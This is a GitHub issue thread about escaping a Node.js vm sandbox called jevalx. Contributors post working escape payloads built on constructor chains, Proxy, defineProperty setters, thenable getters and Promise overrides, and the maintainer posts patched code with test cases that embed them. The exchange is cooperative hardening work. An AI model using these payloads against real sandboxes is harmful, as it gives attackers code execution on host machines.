Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

escape camp #2

Closed
j4k0xb opened this issue Mar 30, 2024 · 237 comments
Closed

escape camp #2

j4k0xb opened this issue Mar 30, 2024 · 237 comments
Assignees

Comments

@j4k0xb
Copy link

j4k0xb commented Mar 30, 2024

process.on('unhandledRejection', (reason, promise) => {
  console.error('WARNING unhandledRejection', promise, 'reason:', reason);
});

var jevalx = async(js,ctx,timeout=60000,More=['process','Symbol','Error','eval','require'],vm=require('node:vm'),Wtf={})=>{
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
  try{return await vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})}
  catch(ex){throw ex}finally{for(var k in Wtf){globalThis[k]=Wtf[k]};}
};
void (async () => {
  await Promise.resolve();
  await Promise.resolve();
  this.constructor
    .constructor("return process")()
    .mainModule.require("fs")
    .writeFileSync("pwned", "");
})();
const customInspectSymbol = Symbol.for({
  toString: () => "nodejs.util.inspect.custom",
});

throw {
  [customInspectSymbol]: () => {
    this.constructor
      .constructor("return process")()
      .mainModule.require("fs")
      .writeFileSync("pwned", "");
  },
};
@mgttt
Copy link
Contributor

mgttt commented Mar 31, 2024

@j4k0xb
I've thought you are the mgr of vm2. Sorry.
Good to see the game continue

fixing it, come back to you soon

ANYWAY, trying to find and fix problem is NEVER annoying.

@mgttt
Copy link
Contributor

mgttt commented Mar 31, 2024

Promise and Symbol is not needed inside sandbox, so a change to js is patched.

hope you still have interest to crack it @j4k0xb

process.on('unhandledRejection', (reason, promise) => {
  console.error('WARNING unhandledRejection', promise, 'reason:', reason);
});

var jevalx = async(js,ctx,timeout=60000,More=['process','Promise','Symbol','Error','eval','require'],vm=require('node:vm'))=>{
  let Wtf={};
  const PromiseWtf = Promise;
  const processWtf = process;
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
  let rst;
  let err;
  try{
    rst = await vm.createScript('delete Promise;delete Symbol;'+js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})}
  catch(ex){ err=ex; }
  finally{
    return new PromiseWtf((r,j)=>{
      for(var k in Wtf){globalThis[k]=Wtf[k]};
      globalThis['process'] = processWtf;
      globalThis['Promise'] = PromiseWtf;
      if (err) j(err); else r(rst)
    });
  }
};

//test a:
(async()=>{
  let code = `void (async() => {
  await Promise.resolve();
  await Promise.resolve();
  this.constructor
    .constructor("return process")()
    .mainModule.require("fs")
    .writeFileSync("pwneda", "");
  })()`;
  try{
    console.log('AAAA result',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex',ex);
  }
  console.log('AAAA confirm process is still here',typeof(process));
})().then(async()=>{ //test b:
  var code=`
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });

    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwnedb", "");
      },
    }
  `;
  try{
    console.log('BBBBB result',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex',''+ex);
  }
  console.log('BBBB confirm process is still here',typeof(process),typeof globalThis['process']);
})

@j4k0xb
Copy link
Author

j4k0xb commented Mar 31, 2024

async function f() {}
void (async () => {
  await f();
  await f();
  this.constructor
    .constructor("return process")()
    .mainModule.require("fs")
    .writeFileSync("pwned", "");
})();
const Symbol = Object.getOwnPropertySymbols(Array)[0].constructor;

const customInspectSymbol = Symbol.for({
  toString: () => "nodejs.util.inspect.custom",
});

throw {
  [customInspectSymbol]: () => {
    this.constructor
      .constructor("return process")()
      .mainModule.require("fs")
      .writeFileSync("pwned", "");
  },
};

@mgttt
Copy link
Contributor

mgttt commented Mar 31, 2024

all set @j4k0xb

process.on('unhandledRejection', (reason, promise) => {
  console.error('WARNING unhandledRejection', promise, 'reason:', reason);
  //TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
  console.error('Uncaught exception:', error);
});

var jevalx_ = async(js,ctx,timeout=60000,More=['process','Error','eval','require'],vm=require('node:vm'))=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
  let rst;
  let err;
  try{
    rst = await vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
  }catch(ex){ console.log('jevalx_',ex); err = ''+ex }//TODO LOGGING
  for(var k in Wtf){globalThis[k]=Wtf[k]};
  if (err) throw err;
  return rst;
};
var jevalx = async(js,ctx,timeout=60000)=>{
  const processWtf = process;process=undefined;
  const setTimeoutWtf = setTimeout;
  let rst;
  let err;
  try{ rst = await jevalx_(js,ctx,timeout);}
  catch(ex){//TODO LOGGING
    console.log('jevalx.ex',ex);
    err = ''+ex;
  }
  //finally{ process = processWtf; }
  return new Promise((r,j)=>{
    //delay, or using nextTick, anyway
    setTimeoutWtf(()=>{ process = processWtf; if (err) j(err); else r(rst); },1);
  });
};

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{                           //test a:
  let code = `async function f() {}
    void (async () => {
      await f();
      await f();
      //even more:
      //await f();
      //await f();
      //await f();
      //await f();
      //await f();
      //await f();
      this.constructor
        .constructor("return process")()
        .mainModule.require("fs")
        .writeFileSync("pwneda", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{ //test b:
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwnedb", "");
      },
    }
  `;
  try{
    console.log('BBBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
  console.log('--------- TEST END -----------');
});

@mgttt
Copy link
Contributor

mgttt commented Mar 31, 2024

The vulnerable part is the "process" in the global.

Once we hide it before sandbox and restore afterwards, then we still hold the flag.

Unless the prisoner can find a new way to delay the pawn, we can checkmate with our sword "setTimeout 1" at the end.

Still waiting challenge (codes will be clearned up later...)

@j4k0xb
Copy link
Author

j4k0xb commented Mar 31, 2024

removing globals introduced yet another vulnerability 😉

Object.defineProperty(
  this.constructor.constructor("return this")(),
  "process",
  {
    set(process) {
      process.mainModule.require("fs").writeFileSync("pwned", "");
    },
  }
);

@mgttt
Copy link
Contributor

mgttt commented Mar 31, 2024

great! reply you later

removing globals introduced yet another vulnerability 😉

Object.defineProperty(
  this.constructor.constructor("return this")(),
  "process",
  {
    set(process) {
      process.mainModule.require("fs").writeFileSync("pwned", "");
    },
  }
);

@mgttt
Copy link
Contributor

mgttt commented Mar 31, 2024

It tested ok if add 'Object' in the More to removed in sandbox. But this is not a good solution, I'll try to investigate more tomorrow

@j4k0xb
Copy link
Author

j4k0xb commented Mar 31, 2024

Can also get Object from ({}).constructor

@XmiliaH
Copy link

XmiliaH commented Mar 31, 2024

I hope I am still allowed to post my attack too.

const code = "import('fs').then(m=>m.writeFileSync('pwned', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
obj

and a simplified version:

throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")};

@mgttt
Copy link
Contributor

mgttt commented Mar 31, 2024

all your cases is done. @XmiliaH @j4k0xb

the Sandbox still stand... keep going!

process.on('unhandledRejection', (reason, promise) => {
  console.log('WARNING',reason)
  //console.error('WARNING unhandledRejection', promise, 'reason:', reason);
  //TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
  console.log('Uncaught exception:', error);
});

const setTimeoutWtf = setTimeout;
const globalWTf = global;
const globalThisWTf = globalThis;
const processWtf = process;
const ObjectWtf= Object;
var jevalx_ = async(js,ctx,timeout=60000,vm=require('node:vm'))=>{
  let rst;
  let err;
  try{
    rst = vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
    if(rst && rst.then){ //inspired by @XmiliaH: .then is vulnerable
      console.log('wowh rst.then',rst.then)
      delete rst.then
    }
    if (typeof(rst)=='Promise') rst = await rst;
  }catch(ex){ err = ex}
  if (err) throw err;
  return rst;
};
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require'])=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  try{Object.defineProperty(globalThis,'process',{get(k){return this._process},set(o){this._process=o}})}catch(ex){}

  let rst;
  let err;
  try{ rst = await jevalx_(js,ctx,timeout); }
  catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'SandboxEvil',js} }
  return new Promise((r,j)=>{
    setTimeoutWtf(()=>{
      for(var k in Wtf){globalThis[k]=Wtf[k]};
      process = processWtf;
      if (err) j(err); else r(rst);
    },1);
  });
};

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  //console.log('check process',await jevalx('this.constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log('--------- TEST END -----------');
});


@j4k0xb
Copy link
Author

j4k0xb commented Mar 31, 2024

almost same as before

({}).constructor.defineProperty(
  this.constructor.constructor("return this")(),
  "_process",
  {
    set(process) {
      process.mainModule.require("fs").writeFileSync("pwned", "");
    },
  }
);

new way:

new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned", "");
    },
  }),
});

@mgttt
Copy link
Contributor

mgttt commented Apr 1, 2024

@j4k0xb

both new cases are good inspiration, it do take me some time to write the test code, and they are fixed now!

thank you very much for the kind patience!!

process.on('unhandledRejection', (reason, promise) => {
  console.log('WARNING',reason)
  //console.error('WARNING unhandledRejection', promise, 'reason:', reason);
  //TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
  console.log('Uncaught exception:', error);
});

const setTimeoutWtf = setTimeout;
const processWtf = process;
const globalThisWtf = globalThis;
//const globalWtf = global;
const ProxyWTf=Proxy;

var jevalx_ = async(js,ctx,timeout=60000,vm=require('node:vm'))=>{
  let rst;
  let err;
  try{
    rst = vm.createScript('delete Proxy;'//NOTES: works, but need to find more if any "Proxy" cases..
      +js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
    //console.log('tmp rst',typeof(rst))
    if(rst==globalThisWtf) rst = {message:'MaybeEvil',js};
    if(rst && rst.then){ //inspired by @XmiliaH: .then is vulnerable
      delete rst.then
    }
    if (typeof(rst)=='Promise') rst = await rst;
  }catch(ex){ err = ex }
  if (err) throw err;
  return rst;
};
var jevalx = async(js,ctx,timeout=60000,More=['Proxy','process','eval','require'])=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  let the_process;
  try{Object.defineProperty(globalThis,'process',{get(k){
        //console.log('get process',typeof the_process);
      return the_process},set(o){//console.log( 'set process',typeof o);
      the_process=o}})}catch(ex){}
  //globalThis.process=undefined;
  process=undefined;
  Proxy=undefined;

  let rst;
  let err;
  try{ rst = await jevalx_(js,ctx,timeout); }
  catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'SandboxEvil',js} }
  return new Promise((r,j)=>{
    setTimeoutWtf(()=>{
      for(var k in Wtf){globalThis[k]=Wtf[k]};
      process = processWtf;
      Proxy = ProxyWTf;
      if (err) j(err); else r(rst);
    },1);
  });
};

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  var code=`
  ({}).constructor.defineProperty(
    this.constructor.constructor("return this")(),
    "_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
  }
)
  `;
  try{
    console.log('FFFF result=',await jevalx(code));
  }catch(ex){
    console.log('FFFF ex=',typeof ex,ex);
  }
  console.log('FFFF check=',typeof(process),typeof(Promise));
  
}).then(async()=>{
  //var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
  var code=`
  new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned_case_g", "");
    },
  }),
});`
  try{
    console.log('GGGG result=',await jevalx(code));
  }catch(ex){
    console.log('GGGG ex=',typeof ex,ex);
  }
  console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  //console.log('check process',await jevalx('this.constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log('--------- TEST END -----------');
});

@mgttt
Copy link
Contributor

mgttt commented Apr 1, 2024

while waiting for new challenge, I made a cleanup.

process.on('unhandledRejection', (reason, promise) => {
  console.log('WARNING',reason)
  //console.error('WARNING unhandledRejection', promise, 'reason:', reason);
  //TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
  console.log('Uncaught exception:', error);
});

const setTimeoutWtf = setTimeout;
const processWtf = process;
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require'],vm=require('node:vm'))=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  let the_process;
  try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
  process=undefined;

  let rst;
  let err;
  try{
    rst = vm.createScript('delete Proxy;'//NOTES: works, but maybe need to find more if any "Proxy" cases?
      +js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})

    if(rst==globalThis) rst = {message:'MaybeEvil',js};

    //inspired by @XmiliaH: .then is vulnerable:
    if(rst && rst.then){ delete rst.then }
    if (typeof(rst)=='Promise') rst = await rst;
  }
  catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'SandboxEvil',js} }
  return new Promise((r,j)=>{
    setTimeoutWtf(()=>{
      for(var k in Wtf){globalThis[k]=Wtf[k]};
      process=processWtf;
      if (err) j(err); else r(rst);
    },1);
  });
};

test

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  var code=`
  ({}).constructor.defineProperty(
    this.constructor.constructor("return this")(),
    "_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
  }
)
  `;
  try{
    console.log('FFFF result=',await jevalx(code));
  }catch(ex){
    console.log('FFFF ex=',typeof ex,ex);
  }
  console.log('FFFF check=',typeof(process),typeof(Promise));
  
}).then(async()=>{
  //var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
  //var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
  var code=`
  new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned_case_g", "");
    },
  }),
});`
  try{
    console.log('GGGG result=',await jevalx(code));
  }catch(ex){
    console.log('GGGG ex=',typeof ex,ex);
  }
  console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  //console.log('check process',await jevalx('this.constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log('--------- TEST END -----------');
});

@j4k0xb
Copy link
Author

j4k0xb commented Apr 1, 2024

const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
  return new Promise(executor).then(() => {
    hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
  });
};

@mgttt
Copy link
Contributor

mgttt commented Apr 1, 2024

done! case H is added for your case. @j4k0xb

in the mean time, I'am trying to find the case that using Symbol to reflect sort of Promise/Proxy...

const processWtf = process;
const PromiseWtf = Promise;

process.on('unhandledRejection', (reason, promise) => {
  console.log('WARNING',reason)
  //console.error('WARNING unhandledRejection', promise, 'reason:', reason);
  //TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
  console.log('Uncaught exception:', error);
});

const setTimeoutWtf = setTimeout;
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require'],vm=require('node:vm'))=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  let the_process;
  try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
  delete Promise;

  let rst;
  let err;
  try{
    rst = vm.createScript('delete Promise;delete Error;delete Proxy;'+//NOTES: works until any spoil case.
      js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})

    if(rst==globalThis) rst = {message:'MaybeEvil',js};

    //inspired by @XmiliaH: .then is vulnerable:
    if(rst && rst.then){ delete rst.then }

    let typeof_rst = typeof(rst);
    if ('function'==typeof_rst){ rst = rst() }
    if (rst instanceof PromiseWtf) rst = await rst;
  }
  catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'SandboxEvil',js} }
  return new PromiseWtf((r,j)=>{
    setTimeoutWtf(()=>{
      for(var k in Wtf){globalThis[k]=Wtf[k]};
      Promise = PromiseWtf;
      if (err) j(err); else r(rst);
    },1);
  });
};

TEST

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  var code=`
  ({}).constructor.defineProperty(
    this.constructor.constructor("return this")(),
    "_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
  }
)
  `;
  try{
    console.log('FFFF result=',await jevalx(code));
  }catch(ex){
    console.log('FFFF ex=',typeof ex,ex);
  }
  console.log('FFFF check=',typeof(process),typeof(Promise));
  
}).then(async()=>{
  //var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
  //var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
  var code=`
  new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned_case_g", "");
    },
  }),
});`
  try{
    console.log('GGGG result=',await jevalx(code));
  }catch(ex){
    console.log('GGGG ex=',typeof ex,ex);
  }
  console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
  const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
  return new Promise(executor).then(() => {
    hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
  });
}
`
  try{
    console.log('HHHH result=',await jevalx(code));
  }catch(ex){
    console.log('HHHH ex=',typeof ex,ex);
  }
  console.log('HHHH check=',typeof(process),typeof(Promise));
}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  //console.log('check process',await jevalx('this.constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log(Promise);
  console.log('--------- TEST END -----------');
});

@XmiliaH
Copy link

XmiliaH commented Apr 1, 2024

const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
const global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
	if (global.process) {
		global.process.mainModule.require("fs").writeFileSync("pwned", "");
		promise.__proto__.then = oldThen;
	}
	return oldThen.apply(this, arguments);
};
1

and

eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")

@mgttt
Copy link
Contributor

mgttt commented Apr 1, 2024

@XmiliaH thank you very much!

Now ok by banning the the import(), eval() and restore of Promise.prototype.then

kinda dirty, but still stand! Plz see test cases IIII and JJJJ below...

const setTimeoutWtf=setTimeout,processWtf=typeof(process)=='undefined'?undefined:process,PromiseWtf=Promise,ProxyWtf=Proxy,ErrorWtf=Error;
const PromiseWtf_prototype_then = PromiseWtf.prototype.then;//
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require'],vm=require('node:vm'))=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

